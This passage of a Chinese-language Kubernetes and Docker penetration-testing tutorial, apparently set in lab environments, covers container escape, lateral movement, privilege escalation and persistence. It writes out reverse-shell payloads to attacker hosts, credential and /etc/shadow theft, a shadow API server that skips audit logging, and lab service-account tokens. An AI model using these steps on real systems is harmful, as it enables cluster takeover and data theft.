Step 1:查看容器列表可以发现此时有一个名为cap-dac-read-search-container的带有CAP_DAC_READ_SEARCH权限的容器
docker ps -a | grep cap
docker top 5713dea
getpcaps 51776
Step 2:下载poc文件并修改shocker.c中.dockerinit文件为 /etc/hosts
#初始文件
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
#更改文件
// 由于文件需要和宿主机在同一个挂载的文件系统下,而高版本的.dockerinit已经不在宿主机的文件系统下了
// 但是/etc/resolv.conf,/etc/hostname,/etc/hosts等文件仍然是从宿主机直接挂载的,属于宿主机的文件系统
if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
die("[-] open");
gcc shocker.c -o shocker
Step 4:docker cp到容器内运行后成功访问到了宿主机的/etc/shadow文件
#基本格式
docker cp 本地路径 容器ID:容器路径
#使用实例
docker cp /home/ubuntu/shocker 5713dea8ce4b:/tmp/shocker
内核漏洞
内核漏洞由很多都可以利用,例如:
- CVE-2016-5195:脏牛漏洞逃逸
- CVE-2017-7308:Linux内核逃逸
- CVE-2017-1000112:Linux内核逃逸
- CVE-2021-22555:Linux内核逃逸
- CVE-2021-31440:Linux eBPF
- CVE-2022-0185:Linux Kernel Escape
下面仅以脏牛漏洞逃逸为例:
影响范围
Linux kernel 2.x through 4.x before 4.8.3
漏洞描述
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell,需要注意的是Docker与宿主机共享内核,因此容器需要在存在dirtyCow漏洞的宿主机里运行
漏洞复现
Step 1:测试环境下载
git clone https://github.com/gebl/dirtycow-docker-vdso.git
Step 2:运行测试容器
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
Step 3:进入容器编译POC并执行
cd /dirtycow-vdso/
make
./0xdeadbeef 192.168.172.136:1234
Step 4:在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell
这里留一个常被用于面试的问题给大家思考:
为什么内核漏洞可以导致容器逃逸?基本原理是什么?
危险挂载
HostPath目录挂载
场景描述
由于用户使用较为危险的挂载将物理机的路径挂载到了容器内,从而导致逃逸
具体实现
Step 1:查看当前权限确定该容器具有主机系统的完整权限
Step 2:发现/host-system从主机系统安装
ls -al
ls /host-system/
chroot /host-system bash
docker ps
Step 4:访问节点级别Kubernetes的kubelet配置
cat /var/lib/kubelet/kubeconfig
Step 5:使用kubelet配置执行Kubernetes集群范围的资源
kubectl --kubeconfig /var/lib/kubelet/kubeconfig get all -n kube-system
/var/log危险挂载
场景介绍
当Pod以可写权限挂载了宿主机的/var/log目录,而且Pod里的Service Account有权限访问该Pod在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸,简单归纳总结如下:
- 挂载了/var/log
- 容器在一个K8s的环境中
-
Pod的ServiceAccount拥有get list watch log的权限
原理简介
下图展示了kubectl logs
kubelet会在宿主机上的/var/log目录中创建一个目录结构,如图符号1,代表节点上的pod,但它实际上是一个符号链接,指向/var/lib/docker/containers目录中的容器日志文件,当使用kubectl logs
#kubernetes\pkg\kubelet\kubelet.go:1371
if kl.logServer == nil {
kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
}
kubelet会解析该请求地址去/var/log对应的目录下读取log文件并返回,当pod以可写权限挂载了宿主机上的/var/log目录时,可以在该路径下创建一个符号链接指向宿主机的根目录,然后构造包含该符号链接的恶意kubelet请求,宿主机在解析时会解析该符号链接,导致可以读取宿主机任意文件和目录
环境搭建
#基础环境
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
#漏洞环境
./metarget cnv install mount-var-log
执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-var-log的pod
漏洞复现
Step 1:执行以下命令进入容器
kubectl -n metarget exec -it mount-var-log /bin/bash
lsh 等于宿主机上的ls
cath 等于宿主机上的cat
敏感文件
$ kubectl exec -it escaper bash
➜ root@escaper:~/exploit$ python find_sensitive_files.py
[*] Got access to kubelet /logs endpoint
[+] creating symlink to host root folder inside /var/log
[*] fetching token files from host
[+] extracted hostfile: /var/lib/kubelet/pods/6d67bed2-abe3-11e9-9888-42010a8e020e/volumes/kubernetes.io~secret/metadata-agent-token-xjfh9/token
[*] fetching private key files from host
[+] extracted hostfile: /home/ubuntu/.ssh/private.key
[+] extracted hostfile: /etc/srv/kubernetes/pki/kubelet.key
...
之后会下载对应的敏感文件到以下位置:
#Token Files
/root/exploit/host_files/tokens
#Key Files
/root/exploit/host_files/private_keys
漏洞EXP
https://github.com/danielsagi/kube-pod-escape
Procfs目录逃逸类
场景介绍
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时(Docker默认情况下不会为容器开启User Namespace),一般来说我们不会将宿主机的procfs挂载到容器中,然而有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来,procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,从2.6.19内核版本开始Linux支持在/proc/sys/kernel/core_pattern中使用新语法,如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行 |
环境搭建
基础环境构建:
./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5 --domestic
漏洞环境准备:
./metarget cnv install mount-host-procfs
执行完成后K8s集群内metarget命令空间下将会创建一个名为mount-host-procfs的pod,宿主机的procfs在容器内部的挂载路径是/host-proc
漏洞复现
执行以下命令进入容器:
kubectl exec -it -n metarget mount-host-procfs /bin/bash
在容器中首先拿到当前容器在宿主机上的绝对路径:
root@mount-host-procfs:/# cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SDXPXVSYNB3RPWJYHAD5RIIIMO:/var/lib/docker/overlay2/l/QJFV62VKQFBRS5T5ZW4SEMZQC6:/var/lib/docker/overlay2/l/SSCMLZUT23WUSPXAOVLGLRRP7W:/var/lib/docker/overlay2/l/IBTHKEVQBPDIYMRIVBSVOE2A6Y:/var/lib/docker/overlay2/l/YYE5TPGYGPOWDNU7KP3JEWWSQM,upperdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/diff,workdir=/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/work 0 0
从workdir可以得到基础路径,结合背景知识可知当前容器在宿主机上的merged目录绝对路径如下:
/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged
向容器内/host-proc/sys/kernel/core_pattern内写入以下内容:
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern
然后在容器内创建一个反弹shell的/tmp/.x.py:
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "attacker-ip"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
最后在容器内运行一个可以崩溃的程序即可,例如:
#include <stdio.h>
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
容器内若没有编译器,可以先在其他机器上编译好后放入容器中,等完成后在其他机器上开启shell监听:
ncat -lvnp 10000
接着在容器内执行上述编译好的崩溃程序,即可获得反弹shell
0x08 横向渗透
基础知识
污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点,一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点,而通常容忍这个污点的Pod都是系统级别的Pod,例如:kube-system
基本原理
攻击者在获取到node节点的权限后可以通过kubectl来创建一个能够容忍主节点的污点的Pod,当该Pod被成功创建到Master上之后,攻击者可以通过在子节点上操作该Pod实现对主节点的控制
横向移动
Step 1:Node中查看节点信息
kubectl get nodes
#方式一
kubectl describe nodes master
#方式二
kubectl describe node master | grep 'Taints' -A 5
Step 3:创建带有容忍参数的Pod(必要时可以修改Yaml使Pod增加到特定的Node上去)
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
#创建Pod
kubectl create -f control-master.yaml
#部署情况
kubectl get deploy -o wide
#Pod详情
kubectl get pod -o wide
kubectl exec control-master-15 -it bash
chroot /master bash
ls -al
cat /etc/shadow
扩展技巧
执行以下命令清除污点之后直接执行部署Pod到Master上,之后通过挂载实现逃逸获取Master节点的权限
#清除污点
kubectl taint nodes debian node-role.kubernetes.io/master:NoSchedule-
#查看污点
kubectl describe node master | grep 'Taints' -A 5
0x09 权限提升
K8s中的权限提升可以参考以下CVE链接,这里不再做复现: 1、CVE-2018-1002105:Kubernetes API Server Privileges Escalation: https://goteleport.com/blog/kubernetes-websocket-upgrade-security-vulnerability/ 2、CVE-2019-11247:Kubernetes API Server Privileges Escalation: https://github.com/kubernetes/kubernetes/issues/80983 3、CVE-2020-8559:Kubernetes API Server Privileges Escalation: https://github.com/tdwyer/CVE-2020-8559 下面对Rolebinding权限提升进行一个简单的演示:
基本介绍
K8s使用基于角色的访问控制(RBAC)来进行操作鉴权,允许管理员通过Kubernetes API动态配置策略,某些情况下运维人员为了操作便利,会对普通用户授予cluster-admin的角色,攻击者如果收集到该用户登录凭证后,可直接以最高权限接管K8s集群,少数情况下攻击者可以先获取角色绑定(RoleBinding)权限,并将其他用户添加cluster-admin或其他高权限角色来完成提权
简易实例
Step 1:下载yaml文件
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml
Step 2:修改YAML文件
Step 3:下载镜像
Step 4:进行部署操作
#部署操作
kubectl apply -f kubernetes-dashboard.yaml
#删除操作
kubectl delete -f kubernetes-dashboard.yaml
kubectl get pods,svc -n kubernetes-dashboard -o wide
kubectl get pods --all-namespaces -o wide
Step 7:在浏览器中访问,选择用默认用户kubernetes-dashboard的token登陆
Step 8:查看serviceaccount和secrets
kubectl get sa,secrets -n kubernetes-dashboard
kubectl describe secrets kubernetes-dashboard-token-8kxnh -n kubernetes-dashboard
eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZC10b2tlbi04a3huaCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6ImMyYTE0NTAzLTc4MzgtNGY3MS1iOTBjLTFhMWJkOTk4NGFiMiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlcm5ldGVzLWRhc2hib2FyZDprdWJlcm5ldGVzLWRhc2hib2FyZCJ9.bQOXikheuY7kL0Dki0mLmyVvGT9cDc4HvdUWXPRywjFPCZNeX6mMurU6pr9LJR25MFwF4Y3ZlnGzHDbrGR-bYRLwDsSvX-qvh0BLCZhQORE2gfd971lCQc7uoyrkf-EJrg26_0C2yGGhZI7JdcRDjrjuHG0aZpQ1vNZYrIWwj5hj9yn7xVI0-dVLbjx8_1kmRXIKw5dk3c_x8aKh-fLSZ-ncpMBf35GGisUHzsdPWup_fqoQKZr4TcEMYc2FcooDQ_mnhBL-WVTbHM9z-LEcebTaCepYR7f-655nRXrDWQe3H524Vvak9aEHI9xK8qHWk1546ka14fMsYTqi3Ra-Tg
Step 10:使用默认用户的token登录
之后发现权限略有不足:
Step 11:新建管理员
a、创建serviceaccount
kubectl create serviceaccount admin-myuser -n kubernetes-dashboard
b、绑定集群管理员
kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:admin-myuser
kubectl get sa,secrets -n kubernetes-dashboard
kubectl describe secret admin-myuser-token-jcj9d -n kubernetes-dashboard
eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi1teXVzZXItdG9rZW4tamNqOWQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiYWRtaW4tbXl1c2VyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYjM5MjBlZWEtMzA1NS00ZDQzLWEyMWMtNDk4MDEwM2NhMjhmIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmVybmV0ZXMtZGFzaGJvYXJkOmFkbWluLW15dXNlciJ9.DC1dSWMY46GzOZiSDsQWjO2dNIQ6ZsO_KDDfWjJ74m8ugPoklduiPeLj85n2NI03NKzCpXOaRRUR4LZHHT5KrpKFTsA9uPQyC0Lb3vi-UUZuQ4uhAZrzOxHx82tIcgNBSv-hXvIZytSrgm3RaItH20O3D-3NTEPt00ohD54cq6FyQPBqGi5yseLlTKj4Z2exbCCHxie67ID8ykaNnwcC8Ay1Ccznlvqu8ffdTejrcqFEyGZqHW3NuBxtYGkh_THdZIGHxaeqgLlGb7i2SbOr3IPeQGlf9l-rRKFSIMqvK_0SFBM9BiA0A4lEv26ro2LC4_PxF6o5_QOAz7X0E65hfw
Step 12:登录dashboard
0x0a 权限维持
Deployment特性
基本概述
如果创建容器时启用了DaemonSets、Deployments那么便可以使容器和子容器即使被清理掉了也可以恢复,攻击者可利用这个特性实现持久化,相关概念如下: ReplicationController(RC):ReplicationController确保在任何时候都有特定数量的Pod副本处于运行状态 Replication Set(RS):官方推荐使用RS和Deployment来代替RC,实际上RS和RC的功能基本一致,目前唯一的一个区别就是RC只支持基于等式的selector Deployment:主要职责和RC一样,都是保证Pod的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的RC控制器,官方组件kube-dns、kube-proxy也都是使用的Deployment来管理
手动实现
Step 1:创建dep.yaml文件并加入恶意载荷
#dep.yaml
apiVersion: apps/v1
kind: Deployment #确保在任何时候都有特定数量的Pod副本处于运行状态
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3 #指定Pod副本数量
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"] #反弹Shell
args: ["-c", "bash -i >& /dev/tcp/192.168.17.164/4444 0>&1"]
securityContext:
privileged: true #特权模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#创建
kubectl create -f dep.yaml
Step 3:成功反弹shell回来,且为节点的shell
Step 4:查看当前权限发现属于特权模式
cat /proc/self/status | grep CapEff
Step 6:之后切换至host目录下可以看到成功挂载宿主机目录
cd host
cd home
kubectl delete -f dep.yaml
工具实现
./cdk run k8s-backdoor-daemonset (default|anonymous|<service-account-token-path>) <image>
Request Options:
default: connect API server with pod's default service account token
anonymous: connect API server with user system:anonymous
<service-account-token-path>: connect API server with user-specified service account token.
Exploit Options:
<image>: your backdoor image (you can upload it to dockerhub before)
Shadow API利用
基本概述
Shadow API Server攻击技术由安全研究人员Ian Coldwater在”Advanced Persistence Threats: The Future of Kubernetes Attacks”中首次提出,该攻击手法旨在创建一种针对K8S集群的隐蔽持续控制通道
Shadow API Server攻击技术的思路是创建一个具有API Server功能的Pod,后续命令通过新的”Shadow API Server”下发,新的API Server创建时可以开放更大权限,并放弃采集审计日志,且不影响原有API-Server功能,日志不会被原有API-Server记录,从而达到隐蔽性和持久控制目的
手动实现
Step 1:首先查看kube-system命名空间下的kube-apiserver信息
kubectl get pods -n kube-system | grep kube-apiserver
Step 2:查看kube-apiserver-master对应的YAML文件
kubectl get pods -n kube-system kube-apiserver-master -o yaml
#更新配置
--allow-privileged=true
--insecure-port=6445
--insecure-bind-address=0.0.0.0
--secure-port=6445
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#删除子项
status
metadata.selfLink
metadata.uid
metadata.annotations
metadata.resourceVersion
metadata.creationTimestamp
spec.tolerations
最终配置文件如下:
apiVersion: v1
kind: Pod
metadata:
labels:
component: kube-apiserver-shadow
tier: control-plane
name: kube-apiserver-shadow
namespace: kube-system
ownerReferences:
- apiVersion: v1
controller: true
kind: Node
name: master
uid: a8b24753-c6b2-477e-9884-03784cf52afb
spec:
containers:
- command:
- kube-apiserver
- --advertise-address=192.168.17.144
- --allow-privileged=true
- --anonymous-auth=true
- --authorization-mode=AlwaysAllow
- --client-ca-file=/etc/kubernetes/pki/ca.crt
- --enable-admission-plugins=NodeRestriction
- --enable-bootstrap-token-auth=true
- --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
- --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
- --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
- --etcd-servers=https://127.0.0.1:2379
- --insecure-port=9443
- --insecure-bind-address=0.0.0.0
- --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
- --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
- --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
- --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt
- --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key
- --requestheader-allowed-names=front-proxy-client
- --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
- --requestheader-extra-headers-prefix=X-Remote-Extra-
- --requestheader-group-headers=X-Remote-Group
- --requestheader-username-headers=X-Remote-User
- --secure-port=9444
- --service-account-key-file=/etc/kubernetes/pki/sa.pub
- --service-cluster-ip-range=192.96.0.0/12
- --tls-cert-file=/etc/kubernetes/pki/apiserver.crt
- --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
image: registry.aliyuncs.com/google_containers/kube-apiserver:v1.17.4
imagePullPolicy: IfNotPresent
livenessProbe:
failureThreshold: 8
httpGet:
host: 192.168.17.144
path: /healthz
port: 9443
scheme: HTTPS
initialDelaySeconds: 15
periodSeconds: 10
successThreshold: 1
timeoutSeconds: 15
name: kube-apiserver
resources:
requests:
cpu: 250m
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /etc/ssl/certs
name: ca-certs
readOnly: true
- mountPath: /etc/pki
name: etc-pki
readOnly: true
- mountPath: /etc/kubernetes/pki
name: k8s-certs
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
hostNetwork: true
nodeName: master
priority: 2000000000
priorityClassName: system-cluster-critical
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 30
volumes:
- hostPath:
path: /etc/ssl/certs
type: DirectoryOrCreate
name: ca-certs
- hostPath:
path: /etc/pki
type: DirectoryOrCreate
name: etc-pki
- hostPath:
path: /etc/kubernetes/pki
type: DirectoryOrCreate
name: k8s-certs
Step 4:创建一个附加由API Server功能的pod
kubectl create -f api.yaml
Step 5:端口服务查看
Step 6:在浏览器中实现未授权访问测试
Step 7:在命令行中实现未授权访问
kubectl -s http://192.168.17.144:9443 get nodes
工具实现
Step 1:在Pod中使用CDK寻找脆弱点
cdk evaluate
Step 2:发现当前Pod内置Service account具有高权限,接下来使用EXP部署Shadow API Server
cdk run k8s-shadow-apiserver default
Step 3:部署成功之后,后续渗透操作全部由新的Shadow API Server代理,由于打开了无鉴权端口,任何pod均可直接向Shadow API Server发起请求管理集群
Step 4:获取K8s的Secrets凭据信息
K8s CronJob
基本概述
CronJob用于执行周期性的动作,例如:备份、报告生成等,攻击者可以利用此功能持久化
具体实现
Step 1:创建cron.yaml文件
apiVersion: batch/v1beta1
kind: CronJob #使用CronJob对象
metadata:
name: hello
spec:
schedule: "*/1 * * * *" #每分钟执行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: alpine
imagePullPolicy: IfNotPresent
command:
- /bin/bash
- -c
- #反弹Shell或者下载并执行木马
restartPolicy: OnFailure
kubectl create -f cron.yaml
Step 3:之后再监听端并未获取到shell
随后发现未反弹回shell的原因是因为IP网段问题,相关测试如下
Step 1:测试yaml文件
apiVersion: batch/v1beta1
kind: CronJob
metadata:
name: hello
spec:
schedule: "*/1 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
args:
- /bin/sh
- -c
- ifconfig; echo Hello aliang
restartPolicy: OnFailure
工具实现
使用方法:
cdk run k8s-cronjob (default|anonymous|<service-account-token-path>) (min|hour|day|<cron-expr>) <image> <args>
Request Options:
default: connect API server with pod's default service account token
anonymous: connect API server with user system:anonymous
<service-account-token-path>: connect API server with user-specified service account token.
Cron Options:
min: deploy cronjob with schedule "* * * * *"
hour: deploy cronjob with schedule "0 * * * *"
day: deploy cronjob with schedule "0 0 * * *"
<cron-expr>: your custom cron expression
Exploit Options:
<image>: your backdoor image (you can upload it to dockerhub before)
<args>: your custom shell command which will run when container creates
使用实例:
./cdk run k8s-cronjob default min alpine "echo hellow;echo cronjob"
0x0b 工具推荐
Nebula
Nebula是一个云和DevOps渗透测试框架,它为每个提供者和每个功能构建了模块,截至 2021年4月,它仅涵盖AWS,但目前是一个正在进行的项目,有望继续发展以测试GCP、Azure、Kubernetes、Docker或Ansible、Terraform、Chef等自动化引擎 https://github.com/gl4ssesbo1/Nebula
k0otkit
k0otkit是一种通用的后渗透技术,可用于对Kubernetes集群的渗透,攻击者可以使用k0otkit快速、隐蔽和连续的方式(反向shell)操作目标Kubernetes集群中的所有节点,K0otkit使用到的技术主要有以下几个:
- kube-proxy镜像(就地取材)
- 动态容器注入(高隐蔽性)
- Meterpreter(流量加密)
- 无文件攻击(高隐蔽性)
DaemonSet和Secret资源(快速持续反弹、资源分离)
CDK Tools
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP,集成Docker/K8s场景特有的逃逸、横向移动、持久化利用方式,插件化管理
https://github.com/cdk-team/CDK
Kubesploit:
Kubesploit是一个功能强大的跨平台后渗透漏洞利用HTTP/2命令&控制服务器和代理工具,基于Merlin项目实现其功能,主要针对的是容器化环境的安全问题
https://github.com/cyberark/kubesploit
0x0c 参考链接
https://youtu.be/GupI5nUgQ9I https://capsule8.com/blog/practical-container-escape-exercise/ https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/writeup.md#escaping-the-container-and-popping-a-root-shell https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html https://github.com/bsauce/kernel-exploit-factory/tree/main/CVE-2021-31440 https://man7.org/linux/man-pages/man5/core.5.html https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs